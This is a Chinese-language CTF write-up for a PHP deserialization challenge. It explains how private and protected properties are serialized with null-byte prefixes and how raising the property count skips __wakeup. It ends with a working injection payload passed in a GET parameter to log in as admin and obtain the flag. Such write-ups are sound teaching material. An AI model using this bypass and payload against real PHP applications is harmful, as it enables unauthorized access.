前言:
这题主要就是代码审计加反序列化相关的漏洞。还有php中的一些魔法方法。
0X01 新知识介绍
- 题目中Name类中定义的变量是private类型的,而事实上是有3中类型public、protected、private:
1
2
3
4
5public 声明的字段为公共字段,所有类和子类都可以用,对象实列中也可见,字段没什么特别的。
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
注:上面的‘\0’都是指空字符,在url中空字符用%00表示。
它们的优先级应该是 private > protected > public (都只是我的理解) - class.php 中有一个_wakeup() 方法,这个方法会在反序列化时自动调用(和_sleep()相反)。而此方法内有给我们的$username重新赋值,这样会把我们赋的值给覆盖掉,肯定是不行的。好在有绕过方法:
1
2
3
4
5
6__wakeup()函数,在反序列化时,被自动调用。
绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
-----------------------
如:O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
改为:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
即可绕过!!! - 记住private型的变量中类名和字段名前面要有空字符,而protected也有相应的要求,看第一点可知。
0X02 解题过程
- 可扫出www.zip备份文件(我是猜出来的)。
- 分析源码
1
2
3
4
5index.php:GET获取参数select,并反序列化
class.php:要求username=admin and password=100即可以得到flag
_construct():对象创建时自动被调用;
_wakeup():反序列化之前进行的回调函数;
_destruct():脚本运行结束时自动被调用; - 在phpstorm中打开www文件夹项目,新建一个php文件内容为
1
2
3
4
5
6$a = new Name('admin',100);
$b=serialize($a);
echo $b;
-----------------------
可以得到:O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
其中的空格其实是空字符在url中用%00表示,这也验证private定义变量的格式 - 经过代码的分析需要绕过_wakeup的执行(2修改为3是为了绕过_wakeup()函数,使username不被覆盖),username,password都是私有变量注意加空字符。最后得到的payloa是:
url?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 为什么是select ? index.php有讲